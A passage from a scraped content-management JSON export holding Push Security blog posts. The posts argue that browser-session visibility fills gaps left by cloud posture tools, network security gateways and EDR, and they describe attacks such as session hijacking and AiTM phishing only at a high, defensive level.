perimeters anymore. You think in control planes. Your job isn’t protecting a box or a subnet; it’s governing a sprawling web of IAM roles, service principals, APIs, and permissions that exist mostly as configuration and code. In this world, the boundary isn’t physical or even networked, it’s defined entirely by how your environment is configured.",{"data":74254,"content":74255,"nodeType":866},{},[74256],{"data":74257,"marks":74258,"value":74259,"nodeType":865},{},[],"The way most teams approached that problem was pragmatic. As cloud environments scaled, it became impossible to secure it by inspection or tribal knowledge. Cloud Security Posture Management tools and, later, Cloud Native Application Protection Platforms emerged to solve a very real problem: visibility and control over cloud configuration at scale. They gave teams a way to continuously assess infrastructure, track misconfigurations, and understand risk across accounts, regions, and services without drowning in raw provider logs.",{"data":74261,"content":74262,"nodeType":866},{},[74263],{"data":74264,"marks":74265,"value":74266,"nodeType":865},{},[],"That capability is important. Without it, cloud security simply doesn’t function. ",{"data":74268,"content":74269,"nodeType":866},{},[74270],{"data":74271,"marks":74272,"value":74273,"nodeType":865},{},[],"CSPM and CNAPP answer the question of “is my cloud environment configured securely?”. They tell you whether an IAM role is too permissive, whether a resource is exposed, or whether a policy violates best practice. They tell you when a user or account is trying to do something they shouldn’t. ",{"data":74275,"content":74276,"nodeType":866},{},[74277],{"data":74278,"marks":74279,"value":74280,"nodeType":865},{},[],"What they don’t answer is a different, increasingly important question: “What happens when attacker behavior is indistinguishable from legitimate user behavior?”",{"data":74282,"content":74283,"nodeType":1317},{},[74284],{"data":74285,"marks":74286,"value":74288,"nodeType":865},{},[74287],{"type":926},"But they can’t stop “legitimate” actions",{"data":74290,"content":74291,"nodeType":866},{},[74292],{"data":74293,"marks":74294,"value":74295,"nodeType":865},{},[],"The gap (or lack of) between legitimate user behavior and malicious abuse is becoming more relevant as cloud breaches change shape. ",{"data":74297,"content":74298,"nodeType":866},{},[74299],{"data":74300,"marks":74301,"value":74302,"nodeType":865},{},[],"In many of today’s incidents, attackers aren’t exploiting misconfigurations or abusing the cloud control plane directly. They’re compromising users. Once an authentication has occurred through illegitimate means, whether phishing, session hijacking, or token theft, the attacker operates entirely within an approved session.",{"data":74304,"content":74305,"nodeType":866},{},[74306],{"data":74307,"marks":74308,"value":74309,"nodeType":865},{},[],"From the perspective of cloud security tooling, very little looks wrong. The identity is valid. The access patterns appear expected. The infrastructure remains correctly configured. As long as the attacker operates within the bounds of what looks “normal”, no alarms are triggered. Meanwhile, sensitive actions are carried out through the browser, using the same interfaces and workflows as a real user.",{"data":74311,"content":74312,"nodeType":972},{},[],{"data":74314,"content":74315,"nodeType":981},{},[74316],{"data":74317,"marks":74318,"value":74320,"nodeType":865},{},[74319],{"type":926},"The gap between the IdP and the final API call — the “missing middle” in your security stack",{"data":74322,"content":74323,"nodeType":866},{},[74324],{"data":74325,"marks":74326,"value":74327,"nodeType":865},{},[],"The browser session sits outside the telemetry and control model of infrastructure-focused cloud security tools. We call this the \"missing middle.\" It’s the space between the IdP login and the final cloud API call. ",{"data":74329,"content":74330,"nodeType":866},{},[74331],{"data":74332,"marks":74333,"value":74334,"nodeType":865},{},[],"In theory, you could try to close the gap by stitching together logs from every SaaS application in your environment. In practice, anyone who’s attempted this knows how quickly it falls apart. ",{"data":74336,"content":74337,"nodeType":866},{},[74338],{"data":74339,"marks":74340,"value":74341,"nodeType":865},{},[],"Each integration is brittle and expensive to maintain, and many applications don’t expose the level of telemetry you actually need, even if you’re willing to fork out for the top Security++ product tier. When you’re dealing with hundreds of apps per enterprise, each with their own configuration complexity, there’s a good chance that your solution focused on “core” cloud apps doesn’t actually have visibility of the full attack surface.",{"data":74343,"content":74344,"nodeType":866},{},[74345],{"data":74346,"marks":74347,"value":74348,"nodeType":865},{},[],"When logs do exist, they rarely show what you actually need. To a CSPM or CNAPP, it looks like an authorized user doing authorized things. A file was accessed or a setting was changed. What those tools can’t see is that the browser session itself was being manipulated in real time.",{"data":74350,"content":74351,"nodeType":866},{},[74352,74356,74364],{"data":74353,"marks":74354,"value":74355,"nodeType":865},{},[],"For ",{"data":74357,"content":74358,"nodeType":889},{"uri":4991},[74359],{"data":74360,"marks":74361,"value":74363,"nodeType":865},{},[74362],{"type":943},"modern, cloud-native threat groups",{"data":74365,"marks":74366,"value":74367,"nodeType":865},{},[],", this lack of session-level visibility is their greatest advantage. They bypass the strong configuration and identity controls you’ve already implemented by simply stepping into the authorized stream. And by the time infrastructure-level signals suggest something is wrong, the attacker has already accomplished what they came for.",{"data":74369,"content":74370,"nodeType":1317},{},[74371],{"data":74372,"marks":74373,"value":74375,"nodeType":865},{},[74374],{"type":926},"Secure everything, still lose",{"data":74377,"content":74378,"nodeType":866},{},[74379],{"data":74380,"marks":74381,"value":74382,"nodeType":865},{},[],"At some point, this forces a hard realization: you can do everything “right” at the cloud and identity layers and still lose.",{"data":74384,"content":74385,"nodeType":866},{},[74386],{"data":74387,"marks":74388,"value":74389,"nodeType":865},{},[],"You can lock down infrastructure-as-code, tighten IAM policies, enforce conditional access, and pass every posture check you care about. But none of that changes where access actually happens. When users work in cloud services, they do it through a browser. And once a session is established, that browser session becomes the real control plane.",{"data":74391,"content":74392,"nodeType":866},{},[74393],{"data":74394,"marks":74395,"value":74396,"nodeType":865},{},[],"That’s the shift cloud security teams are running into. The problem isn’t that CSPM or CNAPP failed, it’s that they can’t see the full picture. Bridging the missing middle means treating the browser session itself as something you can inspect and defend.",{"data":74398,"content":74399,"nodeType":972},{},[],{"data":74401,"content":74402,"nodeType":981},{},[74403],{"data":74404,"marks":74405,"value":74407,"nodeType":865},{},[74406],{"type":926},"Why moving detection and response to the browser is the solution",{"data":74409,"content":74410,"nodeType":866},{},[74411,74415,74420],{"data":74412,"marks":74413,"value":74414,"nodeType":865},{},[],"First, ",{"data":74416,"marks":74417,"value":74419,"nodeType":865},{},[74418],{"type":926},"detection has to move into the browser",{"data":74421,"marks":74422,"value":74423,"nodeType":865},{},[],". Modern cloud attacks don’t announce themselves with known indicators or suspicious IPs; it’s all about behavior. A phishing kit rendering inside a login page. A session token being silently exfiltrated. A user interacting with a page that looks legitimate but isn’t. You only see those signals by inspecting the page, the scripts, and the user’s interaction, in real time, inside the tab, before any cloud API ever gets touched.",{"data":74425,"content":74426,"nodeType":866},{},[74427,74431,74436],{"data":74428,"marks":74429,"value":74430,"nodeType":865},{},[],"Second, ",{"data":74432,"marks":74433,"value":74435,"nodeType":865},{},[74434],{"type":926},"posture can’t stop at the IdP or cloud configuration.",{"data":74437,"marks":74438,"value":74439,"nodeType":865},{},[]," It’s not enough to enforce MFA and SSO at a handful of centrally managed apps and assume the rest of the estate follows suit. Shadow SaaS breaks that assumption immediately. Local accounts, duplicate identities, and MFA gaps undermine cloud access controls, even when your AWS or Azure configuration is otherwise airtight. If a sensitive app allows password-only access, that weakness propagates straight back into your cloud environment.",{"data":74441,"content":74442,"nodeType":866},{},[74443],{"data":74444,"marks":74445,"value":74446,"nodeType":865},{},[],"Finally, when something does go wrong, teams need more than a login timestamp and an IP address. They need to know what the user actually saw and did. Click-by-click browser session data is what allows responders to understand intent, scope impact accurately, and determine whether a session was abused or simply used.",{"data":74448,"content":74449,"nodeType":1317},{},[74450],{"data":74451,"marks":74452,"value":74454,"nodeType":865},{},[74453],{"type":926},"Visibility into the browser session holds the answers",{"data":74456,"content":74457,"nodeType":866},{},[74458],{"data":74459,"marks":74460,"value":74461,"nodeType":865},{},[],"If the browser session is where cloud access actually happens, then treating it as a black box is no longer viable.",{"data":74463,"content":74464,"nodeType":866},{},[74465],{"data":74466,"marks":74467,"value":74468,"nodeType":865},{},[],"This is where Push Security fits. Push is designed to cover the missing middle, not by replacing your existing cloud security stack, but by extending it into the one place it can’t reach on its own: the live browser session.",{"data":74470,"content":74471,"nodeType":866},{},[74472],{"data":74473,"marks":74474,"value":74475,"nodeType":865},{},[],"CSPM and CNAPP remain the right tools for securing cloud configuration and infrastructure. They tell you whether IAM policies are sane, resources are exposed, and guardrails are in place. Push addresses a different problem. It focuses on what happens once access is granted, when identity moves from configuration into motion.",{"data":74477,"content":74478,"nodeType":866},{},[74479],{"data":74480,"marks":74481,"value":74482,"nodeType":865},{},[],"Push does this by deploying a browser-native agent, like EDR operates at the host level. That agent gives defenders direct visibility into the application session itself like the page structure being rendered, the user’s interaction with it, and the behaviors attackers rely on when they hijack sessions in real time.",{"data":74484,"content":74488,"nodeType":912},{"target":74485},{"sys":74486},{"id":74487,"type":909,"linkType":910},"6qMaivxhJ3xT9DkwXGcCSJ",[],{"data":74490,"content":74491,"nodeType":866},{},[74492],{"data":74493,"marks":74494,"value":74495,"nodeType":865},{},[],"That visibility changes how cloud access can be defended.",{"data":74497,"content":74498,"nodeType":1616},{},[74499,74514,74529,74544],{"data":74500,"content":74501,"nodeType":1570},{},[74502],{"data":74503,"content":74504,"nodeType":866},{},[74505,74510],{"data":74506,"marks":74507,"value":74509,"nodeType":865},{},[74508],{"type":926},"Real-time detection in the browser:",{"data":74511,"marks":74512,"value":74513,"nodeType":865},{},[]," Detect in-browser attacker techniques as they happen, left of boom. Phishing kits rendering inside login flows, session tokens being intercepted, credential submission into lookalike pages — Push observes these behaviors directly and can block them before any cloud API is touched or a console is reached.",{"data":74515,"content":74516,"nodeType":1570},{},[74517],{"data":74518,"content":74519,"nodeType":866},{},[74520,74525],{"data":74521,"marks":74522,"value":74524,"nodeType":865},{},[74523],{"type":926},"Complete visibility into cloud access paths:",{"data":74526,"marks":74527,"value":74528,"nodeType":865},{},[]," Build an accurate inventory of how users are actually accessing cloud services. Push surfaces every application in use, including shadow SaaS, and shows which accounts are local, duplicated, missing MFA, or bypassing SSO — crucial visibility that falls between the cracks of application and identity provider. ",{"data":74530,"content":74531,"nodeType":1570},{},[74532],{"data":74533,"content":74534,"nodeType":866},{},[74535,74540],{"data":74536,"marks":74537,"value":74539,"nodeType":865},{},[74538],{"type":926},"Active hardening at the point of access:",{"data":74541,"marks":74542,"value":74543,"nodeType":865},{},[]," Enforce secure login behavior across the entire application surface, not just centrally managed apps. Push can steer users toward using MFA and SSO and block risky credentials on unmanaged tools, closing identity gaps before they’re exploited.",{"data":74545,"content":74546,"nodeType":1570},{},[74547],{"data":74548,"content":74549,"nodeType":866},{},[74550,74555],{"data":74551,"marks":74552,"value":74554,"nodeType":865},{},[74553],{"type":926},"Session-level context for rapid response:",{"data":74556,"marks":74557,"value":74558,"nodeType":865},{},[]," When something does go wrong, Push provides the missing ground truth. Instead of stitching together partial logs or relying on brittle app-level integrations, responders can see exactly what the user saw and did in the browser (from context generated directly from the browser session itself) making it possible to understand intent, assess scope accurately, and contain a compromised session quickly.",{"data":74560,"content":74561,"nodeType":972},{},[],{"data":74563,"content":74564,"nodeType":7584},{},[74565],{"data":74566,"content":74567,"nodeType":866},{},[74568,74571,74578,74581,74588,74591,74598],{"data":74569,"marks":74570,"value":61568,"nodeType":865},{},[],{"data":74572,"content":74573,"nodeType":889},{"uri":11375},[74574],{"data":74575,"marks":74576,"value":61576,"nodeType":865},{},[74577],{"type":943},{"data":74579,"marks":74580,"value":2717,"nodeType":865},{},[],{"data":74582,"content":74583,"nodeType":889},{"uri":11387},[74584],{"data":74585,"marks":74586,"value":61587,"nodeType":865},{},[74587],{"type":943},{"data":74589,"marks":74590,"value":11397,"nodeType":865},{},[],{"data":74592,"content":74593,"nodeType":889},{"uri":1372},[74594],{"data":74595,"marks":74596,"value":11405,"nodeType":865},{},[74597],{"type":943},{"data":74599,"marks":74600,"value":1615,"nodeType":865},{},[],{"data":74602,"content":74603,"nodeType":866},{},[74604],{"data":74605,"marks":74606,"value":21,"nodeType":865},{},[],{"entries":74608},{"hyperlink":74609,"inline":74610,"block":74611},[],[],[74612],{"sys":74613,"__typename":1390,"title":74614,"caption":74614,"layoutMode":59,"file":74615},{"id":74487},"The browser sees the \"missing middle\" that is key to stopping modern attacks.",{"url":74616,"width":74617,"height":74618},"https://images.ctfassets.net/y1cdw1ablpvd/62kkmEzar8I24kELigqdoq/8e4c0476ba9bec03c418977bed5f40e6/Screenshot_2026-01-30_at_16.42.19.png",3372,1560,{"items":74620},[],{},"How Push fits in with your existing cloud security tools","2026-02-06T00:00:00.000Z",{"items":74625},[74626,75130],{"__typename":1429,"sys":74627,"content":74628,"title":75116,"synopsis":75117,"hashTags":59,"publishedDate":75118,"slug":75119,"tagsCollection":75120,"authorsCollection":75126},{"id":57816},{"json":74629},{"data":74630,"content":74631,"nodeType":1382},{},[74632,74640,74647,74654,74666,74674,74681,74688,74695,74703,74706,74714,74721,74728,74735,74752,74758,74765,74782,74790,74908,74911,74919,74926,74938,74945,74950,74957,74964,74972,74979,74987,74994,75001,75008,75056,75068,75104,75110],{"data":74633,"content":74634,"nodeType":981},{},[74635],{"data":74636,"marks":74637,"value":74639,"nodeType":865},{},[74638],{"type":926},"Defense used to start at the network perimeter",{"data":74641,"content":74642,"nodeType":866},{},[74643],{"data":74644,"marks":74645,"value":74646,"nodeType":865},{},[],"If you've been working in security for any length of time, you know where defense starts: the network. Long before cloud-first or SaaS-first became default, the perimeter was where defenders had leverage: visibility, enforcement, and control over traffic moving in and out of the organization.",{"data":74648,"content":74649,"nodeType":866},{},[74650],{"data":74651,"marks":74652,"value":74653,"nodeType":865},{},[],"That mental model hasn’t disappeared. Secure Web Gateways, Cloud Access Security Brokers, and the converged Security Service Edge architecture exist because the problem they solve is still real. Organizations generate an enormous volume of web traffic, and someone has to monitor it, filter it, and enforce policy at scale. These tools sit inline, log metadata, apply categorization, and block what’s already known to be dangerous. Without them, the environment quickly becomes unmanageable and extremely difficult to secure.",{"data":74655,"content":74656,"nodeType":866},{},[74657,74661],{"data":74658,"marks":74659,"value":74660,"nodeType":865},{},[],"They are very good at what they were designed to do: securing the wire. ",{"data":74662,"marks":74663,"value":74665,"nodeType":865},{},[74664],{"type":926},"But what happens over the wire is not the full picture. ",{"data":74667,"content":74668,"nodeType":1317},{},[74669],{"data":74670,"marks":74671,"value":74673,"nodeType":865},{},[74672],{"type":926},"Traffic isn't the whole picture anymore",{"data":74675,"content":74676,"nodeType":866},{},[74677],{"data":74678,"marks":74679,"value":74680,"nodeType":865},{},[],"A significant amount of activity happens locally, inside the browser, beyond the visibility of network controls. Modern webpages are effectively complicated web apps that are rendered client-side via JavaScript — and not everything that happens on the page is traffic-generating. ",{"data":74682,"content":74683,"nodeType":866},{},[74684],{"data":74685,"marks":74686,"value":74687,"nodeType":865},{},[],"That distinction matters more than it used to. Authentication, data access, administrative actions, almost all of it now happens inside a browser tab. As a result, the browser has become a central point of both productivity and risk.",{"data":74689,"content":74690,"nodeType":866},{},[74691],{"data":74692,"marks":74693,"value":74694,"nodeType":865},{},[],"Network tools still see the pipeline of traffic moving back and forth. But attackers have adapted to operate within that pipeline rather than around it. They don’t need to break the connection or trigger obvious anomalies. They target the content rendered inside the browser and the user interacting with it.",{"data":74696,"content":74697,"nodeType":866},{},[74698],{"data":74699,"marks":74700,"value":74702,"nodeType":865},{},[74701],{"type":926},"That leaves security teams with noisy traffic visibility and very little insight into the actual attack unfolding inside the browser session.",{"data":74704,"content":74705,"nodeType":972},{},[],{"data":74707,"content":74708,"nodeType":981},{},[74709],{"data":74710,"marks":74711,"value":74713,"nodeType":865},{},[74712],{"type":926},"Traffic visibility vs. in-browser context",{"data":74715,"content":74716,"nodeType":866},{},[74717],{"data":74718,"marks":74719,"value":74720,"nodeType":865},{},[],"The modern attacker's playbook is built on a simple idea: stay inside the network’s line of sight without triggering detections or enforcement. Containing operations to the browser layer provides attackers with an easy bypass of many traditional network controls without ever needing to break or evade them outright.",{"data":74722,"content":74723,"nodeType":866},{},[74724],{"data":74725,"marks":74726,"value":74727,"nodeType":865},{},[],"They do this by staying ahead of known-bad detection models, constantly rotating domains and URLs, using anti-analysis techniques, and delivering phishing lures through channels that bypass traditional network ingress points like the email gateway (like social media or SMS). In many cases, the link is never evaluated by perimeter controls at all.",{"data":74729,"content":74730,"nodeType":866},{},[74731],{"data":74732,"marks":74733,"value":74734,"nodeType":865},{},[],"This creates a fundamental visibility gap. Network security tools can see a request going to a legitimate-looking destination, but they can’t observe what happens once the page executes client-side in the browser. Malicious scripts and phishing elements often don’t appear until after the page loads and a user interacts with it, leaving nothing obviously known-bad for network controls to detect.",{"data":74736,"content":74737,"nodeType":866},{},[74738,74742,74748],{"data":74739,"marks":74740,"value":74741,"nodeType":865},{},[],"Blocklists don’t help much here either. Domains rotate constantly, and the window between a phishing site going live and being categorized as malicious is more than enough time for an attacker to succeed. Until that happens, the traffic appears benign and the user is free to interact with the page. And to make matters worse, attackers are leveraging ",{"data":74743,"content":74744,"nodeType":889},{"uri":5053},[74745],{"data":74746,"marks":74747,"value":8868,"nodeType":865},{},[],{"data":74749,"marks":74750,"value":74751,"nodeType":865},{},[]," designed to frustrate these detections — meaning most bad pages aren't spotted until it's way too late. ",{"data":74753,"content":74757,"nodeType":912},{"target":74754},{"sys":74755},{"id":74756,"type":909,"linkType":910},"38X1De97xJ8B6GNXTHW6Y5",[],{"data":74759,"content":74760,"nodeType":866},{},[74761],{"data":74762,"marks":74763,"value":74764,"nodeType":865},{},[],"Consider attacker-in-the-middle phishing. From the proxy’s perspective, everything looks clean: user → reputable domain → “standard” web traffic. The phishing infrastructure is often hidden behind redirects or conditional logic designed to screen out proxies and scanners. Inside the browser session, however, credentials are intercepted, session tokens are harvested, and MFA is bypassed in real time.",{"data":74766,"content":74767,"nodeType":866},{},[74768,74771,74778],{"data":74769,"marks":74770,"value":74355,"nodeType":865},{},[],{"data":74772,"content":74773,"nodeType":889},{"uri":4991},[74774],{"data":74775,"marks":74776,"value":74777,"nodeType":865},{},[],"modern threat groups",{"data":74779,"marks":74780,"value":74781,"nodeType":865},{},[],", these obscured attack vectors lead directly to initial access and account takeover. The network is no longer the control point where the most consequential attacks can be reliably stopped.",{"data":74783,"content":74784,"nodeType":866},{},[74785],{"data":74786,"marks":74787,"value":74789,"nodeType":865},{},[74788],{"type":898},"Browser telemetry is key to detecting and blocking malicious content in real-time, rather than relying on blocklists using known-bad indicators like domains and IPs that go out of date as quickly as new entries appear.",{"data":74791,"content":74792,"nodeType":2927},{},[74793,74816,74839,74862,74885],{"data":74794,"content":74795,"nodeType":2400},{},[74796,74806],{"data":74797,"content":74798,"nodeType":38076},{},[74799],{"data":74800,"content":74801,"nodeType":866},{},[74802],{"data":74803,"marks":74804,"value":74805,"nodeType":865},{},[],"What you see with traffic analysis",{"data":74807,"content":74808,"nodeType":38076},{},[74809],{"data":74810,"content":74811,"nodeType":866},{},[74812],{"data":74813,"marks":74814,"value":74815,"nodeType":865},{},[],"What you can see with browser telemetry",{"data":74817,"content":74818,"nodeType":2400},{},[74819,74829],{"data":74820,"content":74821,"nodeType":2366},{},[74822],{"data":74823,"content":74824,"nodeType":866},{},[74825],{"data":74826,"marks":74827,"value":74828,"nodeType":865},{},[],"HTTP request/response bodies ",{"data":74830,"content":74831,"nodeType":2366},{},[74832],{"data":74833,"content":74834,"nodeType":866},{},[74835],{"data":74836,"marks":74837,"value":74838,"nodeType":865},{},[],"DOM structure fingerprints",{"data":74840,"content":74841,"nodeType":2400},{},[74842,74852],{"data":74843,"content":74844,"nodeType":2366},{},[74845],{"data":74846,"content":74847,"nodeType":866},{},[74848],{"data":74849,"marks":74850,"value":74851,"nodeType":865},{},[],"URLs and headers",{"data":74853,"content":74854,"nodeType":2366},{},[74855],{"data":74856,"content":74857,"nodeType":866},{},[74858],{"data":74859,"marks":74860,"value":74861,"nodeType":865},{},[],"User interaction metadata ",{"data":74863,"content":74864,"nodeType":2400},{},[74865,74875],{"data":74866,"content":74867,"nodeType":2366},{},[74868],{"data":74869,"content":74870,"nodeType":866},{},[74871],{"data":74872,"marks":74873,"value":74874,"nodeType":865},{},[],"Cookie values in transit",{"data":74876,"content":74877,"nodeType":2366},{},[74878],{"data":74879,"content":74880,"nodeType":866},{},[74881],{"data":74882,"marks":74883,"value":74884,"nodeType":865},{},[],"Cookie names and attributes",{"data":74886,"content":74887,"nodeType":2400},{},[74888,74898],{"data":74889,"content":74890,"nodeType":2366},{},[74891],{"data":74892,"content":74893,"nodeType":866},{},[74894],{"data":74895,"marks":74896,"value":74897,"nodeType":865},{},[],"Static JS code",{"data":74899,"content":74900,"nodeType":2366},{},[74901],{"data":74902,"content":74903,"nodeType":866},{},[74904],{"data":74905,"marks":74906,"value":74907,"nodeType":865},{},[],"Script execution patterns and dynamic JS analysis",{"data":74909,"content":74910,"nodeType":972},{},[],{"data":74912,"content":74913,"nodeType":981},{},[74914],{"data":74915,"marks":74916,"value":74918,"nodeType":865},{},[74917],{"type":926},"Securing the browser session is key to stopping modern threats",{"data":74920,"content":74921,"nodeType":866},{},[74922],{"data":74923,"marks":74924,"value":74925,"nodeType":865},{},[],"If the browser is where users actually work, and where attackers actually operate, then that’s the layer that defenders need to understand and control.",{"data":74927,"content":74928,"nodeType":866},{},[74929,74933],{"data":74930,"marks":74931,"value":74932,"nodeType":865},{},[],"Modern web-based attacks don’t succeed because traffic goes uninspected. They succeed because network inspection can’t follow the interaction far enough. Traffic shows where data went, not what the user actually saw or did, ",{"data":74934,"marks":74935,"value":74937,"nodeType":865},{},[74936],{"type":926},"and in today’s attacks, that distinction matters.",{"data":74939,"content":74940,"nodeType":866},{},[74941],{"data":74942,"marks":74943,"value":74944,"nodeType":865},{},[],"To stop these threats, you have to see what the user is actually interacting with. Things like what scripts are loading, how the DOM is being manipulated, or whether the login form a user is using is legitimate or being proxied. Those are page-level signals, and they only exist inside the browser tab.",{"data":74946,"content":74949,"nodeType":912},{"target":74947},{"sys":74948},{"id":74487,"type":909,"linkType":910},[],{"data":74951,"content":74952,"nodeType":866},{},[74953],{"data":74954,"marks":74955,"value":74956,"nodeType":865},{},[],"That same shift applies to control. Destination-based blocking breaks down when the destination itself appears legitimate. Effective intervention requires decisions based on behavior as it unfolds so teams can stop risky or malicious activity that would compromise an account.",{"data":74958,"content":74959,"nodeType":866},{},[74960],{"data":74961,"marks":74962,"value":74963,"nodeType":865},{},[],"And visibility can’t stop at centrally managed applications. Shadow SaaS breaks any assumption that access patterns are uniform or fully governed by the IdP. Local accounts, duplicate identities, and password-only logins don’t show up clearly in network telemetry, but they materially expand the attack surface. Seeing every login, across every app, directly from the browser is the only way to build an accurate picture of who has access to what.",{"data":74965,"content":74966,"nodeType":1317},{},[74967],{"data":74968,"marks":74969,"value":74971,"nodeType":865},{},[74970],{"type":926},"Push provides the missing context for network security",{"data":74973,"content":74974,"nodeType":866},{},[74975],{"data":74976,"marks":74977,"value":74978,"nodeType":865},{},[],"At this point, the gap should be clear. Network security gives you strong control over traffic, but very little insight into what actually happens once that traffic lands in a user’s browser.",{"data":74980,"content":74981,"nodeType":866},{},[74982],{"data":74983,"marks":74984,"value":74986,"nodeType":865},{},[74985],{"type":926},"This is where Push can help.",{"data":74988,"content":74989,"nodeType":866},{},[74990],{"data":74991,"marks":74992,"value":74993,"nodeType":865},{},[],"The Push browser agent extends monitoring into the browser itself, providing the visibility and control that perimeter-based tools can’t deliver. It doesn’t replace SSE, SWG, or CASB. Those tools remain the right way to manage traffic and enforce policy at the edge. Push complements them by operating in the one place they can’t: inside the live browser session.",{"data":74995,"content":74996,"nodeType":866},{},[74997],{"data":74998,"marks":74999,"value":75000,"nodeType":865},{},[],"Push does this by deploying a browser-native agent, similar in spirit to how EDR works at the host level. That agent gives defenders direct insight into what the network can’t see like the page being rendered, how the user is interacting with it, and the attack techniques that play out entirely within the tab.",{"data":75002,"content":75003,"nodeType":866},{},[75004],{"data":75005,"marks":75006,"value":75007,"nodeType":865},{},[],"With Push deployed, teams gain:",{"data":75009,"content":75010,"nodeType":1616},{},[75011,75026,75041],{"data":75012,"content":75013,"nodeType":1570},{},[75014],{"data":75015,"content":75016,"nodeType":866},{},[75017,75022],{"data":75018,"marks":75019,"value":75021,"nodeType":865},{},[75020],{"type":926},"Real-time, in-browser threat detection:",{"data":75023,"marks":75024,"value":75025,"nodeType":865},{},[]," Detect and stop attacks like AiTM phishing and session hijacking based on what’s actually happening in the browser. Instead of relying on blocklists or downstream signals, Push identifies attacker behavior as it unfolds and can intervene before credentials or session tokens are stolen.",{"data":75027,"content":75028,"nodeType":1570},{},[75029],{"data":75030,"content":75031,"nodeType":866},{},[75032,75037],{"data":75033,"marks":75034,"value":75036,"nodeType":865},{},[75035],{"type":926},"Complete visibility into SaaS access: ",{"data":75038,"marks":75039,"value":75040,"nodeType":865},{},[],"Build a true inventory of user identities and authentication methods across every application in use, including shadow SaaS. Push fills the gaps left by network and IdP logs, giving teams a real picture of where access exists and how it’s being granted.",{"data":75042,"content":75043,"nodeType":1570},{},[75044],{"data":75045,"content":75046,"nodeType":866},{},[75047,75052],{"data":75048,"marks":75049,"value":75051,"nodeType":865},{},[75050],{"type":926},"Streamlined hardening at the point of access:",{"data":75053,"marks":75054,"value":75055,"nodeType":865},{},[]," Use the browser as a control point to enforce secure login behavior everywhere it matters. Mandate MFA, steer users toward SSO, and block risky credentials on unmanaged apps, shifting from reactive cleanup to continuous, preventative hardening.",{"data":75057,"content":75058,"nodeType":866},{},[75059,75063],{"data":75060,"marks":75061,"value":75062,"nodeType":865},{},[],"The result is a unified model and real defense in depth. ",{"data":75064,"marks":75065,"value":75067,"nodeType":865},{},[75066],{"type":926},"Network tools secure the pipeline, and Push secures the user moving through it.",{"data":75069,"content":75070,"nodeType":7584},{},[75071],{"data":75072,"content":75073,"nodeType":866},{},[75074,75077,75083,75086,75092,75095,75101],{"data":75075,"marks":75076,"value":61568,"nodeType":865},{},[],{"data":75078,"content":75079,"nodeType":889},{"uri":11375},[75080],{"data":75081,"marks":75082,"value":61576,"nodeType":865},{},[],{"data":75084,"marks":75085,"value":2717,"nodeType":865},{},[],{"data":75087,"content":75088,"nodeType":889},{"uri":11387},[75089],{"data":75090,"marks":75091,"value":61587,"nodeType":865},{},[],{"data":75093,"marks":75094,"value":11397,"nodeType":865},{},[],{"data":75096,"content":75097,"nodeType":889},{"uri":1372},[75098],{"data":75099,"marks":75100,"value":11405,"nodeType":865},{},[],{"data":75102,"marks":75103,"value":1615,"nodeType":865},{},[],{"data":75105,"content":75109,"nodeType":912},{"target":75106},{"sys":75107},{"id":75108,"type":909,"linkType":910},"1doMkOu2ZuGqMp2VJgV5pb",[],{"data":75111,"content":75112,"nodeType":866},{},[75113],{"data":75114,"marks":75115,"value":21,"nodeType":865},{},[],"Push + Network Security: The gap between seeing the packet and securing the session","Why network and web traffic only gives you part of the picture when it comes to modern browser-based attacks. ","2026-01-30T00:00:00.000Z","push-plus-network-security",{"items":75121},[75122,75124],{"sys":75123,"name":7796},{"id":7795},{"sys":75125,"name":342},{"id":4642},{"items":75127},[75128],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":75129},{"url":4683},{"__typename":1429,"sys":75131,"content":75132,"title":75513,"synopsis":75514,"hashTags":59,"publishedDate":75118,"slug":75515,"tagsCollection":75516,"authorsCollection":75522},{"id":57837},{"json":75133},{"data":75134,"content":75135,"nodeType":1382},{},[75136,75144,75151,75158,75170,75182,75190,75197,75204,75211,75217,75220,75228,75235,75242,75254,75261,75268,75276,75283,75331,75347,75354,75362,75369,75396,75403,75411,75459,75466,75502,75507],{"data":75137,"content":75138,"nodeType":981},{},[75139],{"data":75140,"marks":75141,"value":75143,"nodeType":865},{},[75142],{"type":926},"EDR is still the best tool for attacks that touch the endpoint",{"data":75145,"content":75146,"nodeType":866},{},[75147],{"data":75148,"marks":75149,"value":75150,"nodeType":865},{},[],"Endpoint Detection and Response (EDR) tooling is fundamental to modern security. It earned its place as a foundational control by moving defense away from static, known-bad indicators and toward deep, real-time detection, investigation, and response based on behavior observed in a live environment. ",{"data":75152,"content":75153,"nodeType":866},{},[75154],{"data":75155,"marks":75156,"value":75157,"nodeType":865},{},[],"By running an agent inside the operating system, EDR gave defenders something they never had before: visibility into what was actually happening on the host as it happened, and the ability to act on it.",{"data":75159,"content":75160,"nodeType":866},{},[75161,75165],{"data":75162,"marks":75163,"value":75164,"nodeType":865},{},[],"That agent-level visibility is still incredibly powerful. File system changes, process execution, memory behavior, or registry modifications is the kind of telemetry that enables threat hunting, exposes fileless attacks, and allows teams to contain incidents by isolating a device or killing a malicious process. ",{"data":75166,"marks":75167,"value":75169,"nodeType":865},{},[75168],{"type":926},"For anything that touches the endpoint, EDR remains the right tool.",{"data":75171,"content":75172,"nodeType":866},{},[75173,75177],{"data":75174,"marks":75175,"value":75176,"nodeType":865},{},[],"But that’s the key constraint: ",{"data":75178,"marks":75179,"value":75181,"nodeType":865},{},[75180],{"type":898},"for anything that touches the endpoint.",{"data":75183,"content":75184,"nodeType":1317},{},[75185],{"data":75186,"marks":75187,"value":75189,"nodeType":865},{},[75188],{"type":926},"But modern attacks have moved beyond the endpoint",{"data":75191,"content":75192,"nodeType":866},{},[75193],{"data":75194,"marks":75195,"value":75196,"nodeType":865},{},[],"The reality of how work gets done has shifted. Most applications are now SaaS-based and accessed entirely through a browser. Employees authenticate, move data, administer systems, and interact with customers inside a browser window. And attackers have followed them there.",{"data":75198,"content":75199,"nodeType":866},{},[75200],{"data":75201,"marks":75202,"value":75203,"nodeType":865},{},[],"When attacks play out in the browser, endpoint-level signals often never appear. From the operating system’s perspective, there’s just a browser process behaving normally. The EDR agent is doing exactly what it was designed to do, but the activity that matters is happening within the browser itself.",{"data":75205,"content":75206,"nodeType":866},{},[75207],{"data":75208,"marks":75209,"value":75210,"nodeType":865},{},[],"That’s the gap teams are running into. EDR protects the integrity of the host, but it has no visibility into the live application session inside the browser. And as attackers consciously avoid the endpoint entirely, that blind spot is becoming harder to 